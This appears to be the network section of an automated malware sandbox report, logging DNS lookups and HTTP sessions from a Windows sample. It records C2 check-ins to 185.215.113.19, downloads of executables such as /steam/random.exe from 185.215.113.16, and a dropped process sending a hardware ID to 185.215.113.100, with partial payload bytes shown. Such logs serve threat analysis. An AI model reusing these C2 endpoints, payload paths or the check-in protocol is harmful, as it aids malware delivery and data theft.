Sep 1, 2024 02:48:19.566793919 CEST	1.1.1.1	192.168.2.4	0x748e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.566793919 CEST	1.1.1.1	192.168.2.4	0x748e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.682404041 CEST	1.1.1.1	192.168.2.4	0x9029	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.682404041 CEST	1.1.1.1	192.168.2.4	0x9029	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:19.682804108 CEST	1.1.1.1	192.168.2.4	0xa5b4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:48:20.362502098 CEST	1.1.1.1	192.168.2.4	0x113	No error (0)	shed.dual-low.s-part-0045.t-0009.t-msedge.net	s-part-0045.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:20.362502098 CEST	1.1.1.1	192.168.2.4	0x113	No error (0)	s-part-0045.t-0009.t-msedge.net		13.107.246.73	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:32.402549982 CEST	1.1.1.1	192.168.2.4	0x648f	No error (0)	shed.dual-low.s-part-0029.t-0009.t-msedge.net	s-part-0029.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:32.402549982 CEST	1.1.1.1	192.168.2.4	0x648f	No error (0)	s-part-0029.t-0009.t-msedge.net		13.107.246.57	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:32.615926027 CEST	1.1.1.1	192.168.2.4	0x9a2a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:32.615947962 CEST	1.1.1.1	192.168.2.4	0xeaa9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:32.615947962 CEST	1.1.1.1	192.168.2.4	0xeaa9	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:33.912816048 CEST	1.1.1.1	192.168.2.4	0x684b	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:33.912816048 CEST	1.1.1.1	192.168.2.4	0x684b	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:33.955277920 CEST	1.1.1.1	192.168.2.4	0x7d76	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:34.925596952 CEST	1.1.1.1	192.168.2.4	0x4750	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:34.925596952 CEST	1.1.1.1	192.168.2.4	0x4750	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:34.964729071 CEST	1.1.1.1	192.168.2.4	0x300b	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:35.650713921 CEST	1.1.1.1	192.168.2.4	0x1a2d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:48:35.650729895 CEST	1.1.1.1	192.168.2.4	0x781b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.650729895 CEST	1.1.1.1	192.168.2.4	0x781b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.650738955 CEST	1.1.1.1	192.168.2.4	0x56d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.650738955 CEST	1.1.1.1	192.168.2.4	0x56d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.650814056 CEST	1.1.1.1	192.168.2.4	0x7a7b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:48:35.687714100 CEST	1.1.1.1	192.168.2.4	0xc00b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:48:35.687778950 CEST	1.1.1.1	192.168.2.4	0xccd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:35.687778950 CEST	1.1.1.1	192.168.2.4	0xccd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:36.957149982 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:36.957149982 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:37.976232052 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:37.976232052 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:38.997351885 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:38.997351885 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:41.005373955 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:41.005373955 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:48:45.018553019 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 1, 2024 02:48:45.018553019 CEST	1.1.1.1	192.168.2.4	0x636b	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:50:16.566720009 CEST	1.1.1.1	192.168.2.4	0x3ea3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:50:16.566740990 CEST	1.1.1.1	192.168.2.4	0xb2be	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:50:16.566740990 CEST	1.1.1.1	192.168.2.4	0xb2be	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:50:27.536681890 CEST	1.1.1.1	192.168.2.4	0x5e77	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:50:27.536681890 CEST	1.1.1.1	192.168.2.4	0x5e77	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:50:27.536912918 CEST	1.1.1.1	192.168.2.4	0x2f2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:51:22.287827015 CEST	1.1.1.1	192.168.2.4	0xbfdd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:51:22.287827015 CEST	1.1.1.1	192.168.2.4	0xbfdd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:51:22.292835951 CEST	1.1.1.1	192.168.2.4	0x82c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Sep 1, 2024 02:52:30.785497904 CEST	1.1.1.1	192.168.2.4	0xb79e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:52:30.785497904 CEST	1.1.1.1	192.168.2.4	0xb79e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Sep 1, 2024 02:52:30.785512924 CEST	1.1.1.1	192.168.2.4	0x1594	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

chrome.cloudflare-dns.com

edgeassetservice.azureedge.net

https:

www.google.com

fs.microsoft.com

clients2.googleusercontent.com

msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com

185.215.113.19

185.215.113.16

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:02.242870092 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:02.985841036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:02.987375021 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:03.241444111 CEST	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 33 0d 0a 20 3c 63 3e 31 30 30 30 30 35 31 30 30 30 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 30 35 32 30 30 30 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 30 35 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 30 65 65 66 65 62 38 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 113 <c>1000051000+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000052000+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1000053001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.215.113.16	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:03.249892950 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Sep 1, 2024 02:48:03.988943100 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:03 GMT Content-Type: application/octet-stream Content-Length: 1790976 Last-Modified: Sat, 31 Aug 2024 22:58:27 GMT Connection: keep-alive ETag: "66d3a013-1b5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 20 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 68 00 00 04 00 00 90 12 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELMfB" h@Ph@P#d# #<@.rsrc #L@.idata #L@ 0*$N@fgtetwml0NP@kzhupcowh.@.taggant0 h"2@
Sep 1, 2024 02:48:03.988991976 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 02:48:03.989001989 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 02:48:03.989032984 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 02:48:03.989046097 CEST	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 02:48:03.989130974 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 b6 91 14 fa b9 d1 90 f3 c8 74 99 5a 94 91 51 d6 87 3e c3 65 56 89 99 8a 94 4e 11 fe 0c 93 e5 19 f8 dd 5a 45 Data Ascii: tZQ>eVNZES!7Oy;cNQw^mv"!?xg^Ty`iWK$\|&vAJC[fzxT8AR:.1X931\WuWF*QS
Sep 1, 2024 02:48:03.989140987 CEST	1236	IN	Data Raw: 98 c2 4b 3d a7 a2 23 e0 31 63 8a 9b b1 0b 1c 1a 7b 9e a3 ce d3 27 cd 82 06 43 68 e4 f9 b7 70 e2 60 86 cd 35 de ed 08 7f 49 85 50 9e b0 67 22 3a b3 73 31 c4 d6 7a 1f 14 10 b2 8a 3b da 0d 85 1e d7 5e 0d 27 c6 85 4f 52 82 aa 89 1c 5e 08 21 30 5a 5b Data Ascii: K=#1c{'Chp`5IPg":s1z;^'OR^!0Z[U#g fs"_h;^ B6{6$er2C7+kBi.sj~,)MQe 'U~OmK;eMy9":23
Sep 1, 2024 02:48:03.989150047 CEST	1236	IN	Data Raw: 1b a0 17 a1 8f 23 31 4f 3d c2 89 35 ae 43 4d e1 a2 82 86 94 78 e5 79 c5 97 6b 08 4f 2a 6a 9f b3 d6 8e 3b da 00 4c 1b 7f d6 32 7d b5 aa 15 20 f0 e8 6a 79 a1 e9 92 34 71 9d cc 40 f4 bf 90 0c c4 db 8d c3 44 40 23 91 bc 9c eb 34 db 88 80 81 86 9a 08 Data Ascii: #1O=5CMxykOj;L2} jy4q@D@#40+A['gP4~N tt!aG"&E"YHDM2fgu0w2Iv!Ji%q!3f^*Xt
Sep 1, 2024 02:48:03.989159107 CEST	1236	IN	Data Raw: 99 33 8b d8 29 22 95 a2 01 8b 24 34 76 4f 1a 2e 9a ab 95 73 6b 1b 3a 7c 57 fe 4e 06 b3 43 25 35 8b 4a 31 58 7f d3 cc a9 4d 87 06 af 39 70 70 3a ba 6f 1a 74 95 24 54 03 b5 e3 c1 af b4 0a 0f a9 07 38 b7 5d e3 3d a1 77 01 1a 30 11 06 a3 3f 1a de c7 Data Ascii: 3)"$4vO.sk:\|WNC%5J1XM9pp:ot$T8]=w0?\w)f+L _!Bo@])"E+) $!dW?^" /)Hp-OI $%63'Y.,pU!ZcB 5_3
Sep 1, 2024 02:48:03.989168882 CEST	596	IN	Data Raw: f5 48 3f e4 1d 87 1a f2 af 24 39 62 5e 85 4f 06 b3 4b 22 a0 59 4f 4a 95 9e 5f 09 a9 75 c1 05 9e a1 ab ce 19 df 23 ec 87 5b 30 89 01 b1 5f a5 46 ef 27 2d d2 b1 1a 2f 9a a9 c1 cf 1a 5a 91 36 a2 80 c8 28 8a 8a c4 a6 d0 05 76 76 a6 99 31 71 d6 02 f1 Data Ascii: H?$9b^OK"YOJ_u#[0_F'-/Z6(vv1q(5!ZZ9&0+p#T]S/}I89:KGM+E/4sX9J)\|s!5`U'A0_yv5J\fMY0I4
Sep 1, 2024 02:48:03.993858099 CEST	1236	IN	Data Raw: fd 21 79 a1 67 75 41 96 58 ba 40 26 16 1a 32 2e 83 62 c8 e6 a2 6b c5 d4 8a bf 22 5a 8e 7f c0 2d af d3 19 66 16 c4 ab 77 85 9a c7 36 d0 1a 05 a2 03 1f e1 2f 0a 7c 15 8f 1a 13 e3 75 ee 31 1a aa db aa 4f 8f d1 1a 75 20 b3 57 ce 22 ae 8b 4d d6 d8 f1 Data Ascii: !yguAX@&2.bk"Z-fw6/\|u1Ou W"MK]/Q"Y11^q#sts2T`uF"kh?&2RaK;YqbUJItt:YImoO!]K9"K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:06.443989992 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 31 30 30 30 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000051000&unit=246122658369
Sep 1, 2024 02:48:07.179203987 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	185.215.113.16	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:07.186290979 CEST	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Sat, 31 Aug 2024 22:58:27 GMT If-None-Match: "66d3a013-1b5400"
Sep 1, 2024 02:48:07.953893900 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:07 GMT Last-Modified: Sat, 31 Aug 2024 22:58:27 GMT Connection: keep-alive ETag: "66d3a013-1b5400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:08.647958994 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 32 30 30 30 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000052000&unit=246122658369
Sep 1, 2024 02:48:09.417059898 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	185.215.113.100	80	7860	C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:08.845490932 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 02:48:09.623205900 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 02:48:09.760375977 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAEHJJJKJKFIDGCBGI Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 37 36 32 35 31 35 37 32 41 33 32 34 35 37 38 32 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 2d 2d 0d 0a Data Ascii: ------JECAEHJJJKJKFIDGCBGIContent-Disposition: form-data; name="hwid"F5476251572A3245782482------JECAEHJJJKJKFIDGCBGIContent-Disposition: form-data; name="build"leva------JECAEHJJJKJKFIDGCBGI--
Sep 1, 2024 02:48:10.011977911 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	185.215.113.16	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:09.534827948 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Sep 1, 2024 02:48:10.273447990 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:10 GMT Content-Type: application/octet-stream Content-Length: 917504 Last-Modified: Sun, 01 Sep 2024 00:31:28 GMT Connection: keep-alive ETag: "66d3b5e0-e0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 b5 d3 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 50 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf"Pw@``@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Sep 1, 2024 02:48:10.273488998 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
